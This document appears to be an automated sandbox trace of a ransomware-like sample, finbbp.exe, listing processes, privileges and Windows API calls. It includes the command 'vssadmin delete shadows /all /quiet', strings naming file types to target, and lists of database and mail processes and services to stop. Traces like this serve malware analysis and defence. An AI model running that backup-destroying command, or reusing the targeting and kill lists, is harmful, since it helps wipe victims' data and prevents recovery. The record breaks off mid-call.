"c:\\windows\\system32\\svchost.exe" page_root = "0xc1ea000" os_pid = "0x574" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x244" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f051" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 65 os_tid = 0x6c4 Thread: id = 66 os_tid = 0xa54 Thread: id = 67 os_tid = 0xa50 Thread: id = 68 os_tid = 0xa4c Thread: id = 69 os_tid = 0x8ac Thread: id = 70 os_tid = 0x8a8 Thread: id = 71 os_tid = 0x688 Thread: id = 72 os_tid = 0x680 Thread: id = 73 os_tid = 0x5bc Thread: id = 74 os_tid = 0x5b8 Thread: id = 75 os_tid = 0x5b4 Thread: id = 76 os_tid = 0x578 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4f5af000" os_pid = "0xe8c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xdb0" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 77 os_tid = 0xe90 Thread: id = 78 os_tid = 0xe98 Thread: id = 79 os_tid = 0xf04 Thread: id = 80 os_tid = 0xf0c Thread: id = 81 os_tid = 0xf10 Process: id = "12" image_name = "finbbp.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe" page_root = "0x53003000" os_pid = "0x5fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xda4" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0x5f0 [0281.378] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76dc0000 [0281.378] GetProcAddress (hModule=0x76dc0000, lpProcName="GetProcAddress") returned 0x76dd51b0 [0281.378] GetProcAddress (hModule=0x76dc0000, lpProcName="GetModuleHandleW") returned 0x76dd50d0 [0281.378] GetProcAddress (hModule=0x76dc0000, lpProcName="FindNextFileW") returned 0x76e2ee40 [0281.378] GetProcAddress (hModule=0x76dc0000, lpProcName="FindClose") returned 0x76e2ed70 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="MoveFileW") returned 0x76e0e500 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetFileSizeEx") returned 0x76e2ef40 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetModuleFileNameW") returned 0x76dd5090 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetFileAttributesW") returned 0x76e2ef10 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="ExitProcess") returned 0x76dd3cb0 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCommandLineW") returned 0x76dd4cc0 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetComputerNameW") returned 0x76e032c0 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetComputerNameA") returned 0x76e03780 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateMutexW") returned 0x76e2eb70 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrlenW") returned 0x76dd6c70 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrlenA") returned 0x76dd6c50 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCurrentProcess") returned 0x76e2ea10 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="WaitForSingleObject") returned 0x76e2eca0 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetLogicalDrives") returned 0x76dd0d20 [0281.379] GetProcAddress (hModule=0x76dc0000, lpProcName="GetTickCount") returned 0x76e2dd50 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="DeleteFileW") returned 0x76e2ed40 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="WideCharToMultiByte") returned 0x76dd6b10 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e2ebb0 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="Sleep") returned 0x76dd6760 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="LeaveCriticalSection") returned 0x76edb250 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="ReadFile") returned 0x76e2f090 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateFileW") returned 0x76e2ed10 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="OpenMutexW") returned 0x76e2ebf0 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="EnterCriticalSection") returned 0x76edb2d0 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="WaitForMultipleObjects") returned 0x76e2ec80 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrcmpiW") returned 0x76dd6bf0 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrcmpiA") returned 0x76dd6bd0 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="DeleteCriticalSection") returned 0x76ebfb90 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="ReleaseMutex") returned 0x76e2ec20 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="CloseHandle") returned 0x76e2eab0 [0281.380] GetProcAddress (hModule=0x76dc0000, lpProcName="GetVersion") returned 0x76dd56c0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateThread") returned 0x76dd46b0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="ExpandEnvironmentStringsW") returned 0x76dd4a40 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="QueryPerformanceCounter") returned 0x76dd5da0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="QueryPerformanceFrequency") returned 0x76dd5dc0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCurrentProcessId") returned 0x76e2ea20 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="SetFileAttributesW") returned 0x76e2f100 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="GetVolumeInformationW") returned 0x76e2f020 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="WriteFile") returned 0x76e2f180 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="SetFilePointerEx") returned 0x76e2f130 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="SetEndOfFile") returned 0x76e2f0e0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="FindFirstFileW") returned 0x76e2edf0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="GetProcessHeap") returned 0x76dd51f0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapReAlloc") returned 0x76ecf630 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapAlloc") returned 0x76ed2dc0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapFree") returned 0x76dd57f0 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="CreatePipe") returned 0x76dd4590 [0281.381] GetProcAddress (hModule=0x76dc0000, lpProcName="SetHandleInformation") returned 0x76e2eae0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateProcessW") returned 0x76dd4610 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="CompareStringW") returned 0x76dd4430 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="CompareStringA") returned 0x76dd4410 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="OpenProcess") returned 0x76dd5cc0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="TerminateProcess") returned 0x76dd67e0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="GetSystemTime") returned 0x76dd54e0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="SystemTimeToFileTime") returned 0x76dd67a0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="GetLastError") returned 0x76dd5010 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e0edc0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="Process32NextW") returned 0x76e0f8f0 [0281.382] GetProcAddress (hModule=0x76dc0000, lpProcName="Process32FirstW") returned 0x76e0f750 [0281.382] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74720000 [0281.540] GetProcAddress (hModule=0x74720000, lpProcName="RegOpenKeyExW") returned 0x7473e580 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="RegQueryValueExW") returned 0x7473e5a0 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="RegSetValueExW") returned 0x7473f530 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="RegCloseKey") returned 0x7473ed60 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="OpenProcessToken") returned 0x7473efb0 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="GetTokenInformation") returned 0x7473ee90 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="OpenSCManagerW") returned 0x74740540 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="OpenServiceW") returned 0x7473fa20 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="CloseServiceHandle") returned 0x7473fc00 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="ControlService") returned 0x747526d0 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="QueryServiceStatus") returned 0x74742380 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="EnumDependentServicesW") returned 0x74752f70 [0281.541] GetProcAddress (hModule=0x74720000, lpProcName="EnumServicesStatusExW") returned 0x7473fc80 [0281.542] LoadLibraryA (lpLibFileName="user32.dll") returned 0x745e0000 [0281.818] GetProcAddress (hModule=0x745e0000, lpProcName="SystemParametersInfoW") returned 0x7460f210 [0281.818] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75a10000 [0281.853] GetProcAddress (hModule=0x75a10000, lpProcName="ShellExecuteExW") returned 0x75b74730 [0281.853] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x76e90000 [0281.853] GetProcAddress (hModule=0x76e90000, lpProcName="NtQuerySystemInformation") returned 0x76f02070 [0281.853] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73890000 [0281.934] GetProcAddress (hModule=0x73890000, lpProcName="WNetCloseEnum") returned 0x73892640 [0281.934] GetProcAddress (hModule=0x73890000, lpProcName="WNetOpenEnumW") returned 0x73892790 [0281.934] GetProcAddress (hModule=0x73890000, lpProcName="WNetEnumResourceW") returned 0x73892410 [0281.935] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x73ed0000 [0281.939] GetProcAddress (hModule=0x73ed0000, lpProcName="WSAStartup") returned 0x73ed5b40 [0281.939] GetProcAddress (hModule=0x73ed0000, lpProcName="socket") returned 0x73ee4510 [0281.939] GetProcAddress (hModule=0x73ed0000, lpProcName="send") returned 0x73ed5030 [0281.939] GetProcAddress (hModule=0x73ed0000, lpProcName="recv") returned 0x73ee0c50 [0281.939] GetProcAddress (hModule=0x73ed0000, lpProcName="connect") returned 0x73ed5410 [0281.939] GetProcAddress (hModule=0x73ed0000, lpProcName="closesocket") returned 0x73ee0910 [0281.940] GetProcAddress (hModule=0x73ed0000, lpProcName="gethostbyname") returned 0x73f06cb0 [0281.940] GetProcAddress (hModule=0x73ed0000, lpProcName="inet_addr") returned 0x73ee9160 [0281.940] GetProcAddress (hModule=0x73ed0000, lpProcName="ntohl") returned 0x73ed49d0 [0281.940] GetProcAddress (hModule=0x73ed0000, lpProcName="htonl") returned 0x73ed49d0 [0281.940] GetProcAddress (hModule=0x73ed0000, lpProcName="htons") returned 0x73ee8ff0 [0281.940] GetProcessHeap () returned 0x4e0000 [0281.941] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x20) returned 0x4eb0f0 [0281.941] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=15158110421) returned 1 [0281.941] GetTickCount () returned 0x114f87a [0281.941] GetCurrentProcessId () returned 0x5fc [0281.943] GetTickCount () returned 0x114f87a [0281.944] GetTickCount () returned 0x114f87a [0281.944] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x20) returned 0x4eb118 [0281.944] GetVersion () returned 0x23f00206 [0281.944] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x7) returned 0x4f6d60 [0281.944] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x4f8128 [0281.944] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f8128, Size=0x20) returned 0x4eb190 [0281.944] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4eb190, Size=0x40) returned 0x4f7aa0 [0281.944] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x4fd400 [0281.944] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8A") returned 0x1ec [0281.944] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6d60 | out: hHeap=0x4e0000) returned 1 [0281.945] lstrlenW (lpString="Global\\syncronize_") returned 18 [0281.945] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7aa0 | out: hHeap=0x4e0000) returned 1 [0281.945] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x7) returned 0x4f6e90 [0281.945] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x4f7ea0 [0281.945] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7ea0, Size=0x20) returned 0x4eb190 [0281.945] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4eb190, Size=0x40) returned 0x4f79c8 [0281.946] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x50d408 [0281.946] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8U") returned 0x1f0 [0281.946] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6e90 | out: hHeap=0x4e0000) returned 1 [0281.946] lstrlenW (lpString="Global\\syncronize_") returned 18 [0281.946] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f79c8 | out: hHeap=0x4e0000) returned 1 [0281.946] GetVersion () returned 0x23f00206 [0281.946] GetCurrentProcess () returned 0xffffffff [0281.946] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0281.946] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0281.946] CloseHandle (hObject=0x1f4) returned 1 [0281.946] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0281.946] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0281.946] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f6070 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x4f7fa8 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7fa8, Size=0x20) returned 0x4eb190 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4eb190, Size=0x40) returned 0x4f7bc0 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7bc0, Size=0x80) returned 0x4f6808 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6808, Size=0x100) returned 0x4f7d28 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x34) returned 0x4f9ce8 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x4f6d60 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x4f6e90 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x4f6d80 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f7e88 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x4f6da0 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f7fa8 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6da0, Size=0x8) returned 0x4f6db0 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f7ff0 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6db0, Size=0x10) returned 0x4f7ea0 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f8008 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f8128 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7ea0, Size=0x20) returned 0x4eb190 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f8038 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f7ea0 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6d60, Size=0x8) returned 0x4f6da0 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6e90, Size=0x8) returned 0x4f6d60 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x4f6e90 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f7ed0 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x4f6db0 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f8140 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6db0, Size=0x8) returned 0x4f6dc0 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f8248 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6dc0, Size=0x10) returned 0x4f8218 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f81b8 [0281.947] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x4f6db0 [0281.947] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f8218, Size=0x20) returned 0x51d6e8 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6da0, Size=0x10) returned 0x4f81e8 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6d60, Size=0x10) returned 0x4f8200 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x4f6d60 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f8230 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x4f6da0 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f8188 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6da0, Size=0x8) returned 0x4f6dc0 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x4f6de0 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f81a0 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x4f6da0 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f81d0 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6da0, Size=0x8) returned 0x51dcc8 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f81e8, Size=0x20) returned 0x51d878 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f8200, Size=0x20) returned 0x51d4b8 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dcd8 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f81e8 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x51ddc8 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x4f8200 [0281.948] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51ddc8, Size=0x8) returned 0x51de38 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f6170 [0281.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f6390 [0281.948] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0281.948] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7d28 | out: hHeap=0x4e0000) returned 1 [0281.948] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x4f8218 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f8218, Size=0x20) returned 0x51d710 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d710, Size=0x40) returned 0x4f7590 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7590, Size=0x80) returned 0x4f7d28 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7d28, Size=0x100) returned 0x4f7d28 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x4f8218 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f8218, Size=0x20) returned 0x51d5d0 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d5d0, Size=0x40) returned 0x4f7860 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f7860, Size=0x80) returned 0x4f8260 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f8260, Size=0x100) returned 0x4f8260 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x4f8218 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x51dd88 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x522830 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51dd88, Size=0x8) returned 0x51dd08 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f63b0 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51dd08, Size=0x10) returned 0x5227a0 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x18) returned 0x4f6310 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1a) returned 0x51d5f8 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5227a0, Size=0x20) returned 0x51d558 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1c) returned 0x51d648 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x16) returned 0x4f6290 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1a) returned 0x51d490 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5227a0 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x4) returned 0x51dd58 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x40) returned 0x4f7860 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51dd58, Size=0x8) returned 0x51dda8 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x3c) returned 0x4f79c8 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51dda8, Size=0x10) returned 0x5229f8 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f61d0 [0281.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x18) returned 0x4f6110 [0281.953] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5229f8, Size=0x20) returned 0x51d5d0 [0281.954] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x24) returned 0x4f57a8 [0281.954] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0281.954] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7d28 | out: hHeap=0x4e0000) returned 1 [0281.954] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0281.954] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f8260 | out: hHeap=0x4e0000) returned 1 [0281.954] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x51d760 [0281.958] EnumServicesStatusExW (in: hSCManager=0x51d760, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0281.958] GetLastError () returned 0xea [0281.958] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1ca4) returned 0x524950 [0281.959] EnumServicesStatusExW (in: hSCManager=0x51d760, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x524950, cbBufSize=0x1ca4, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, 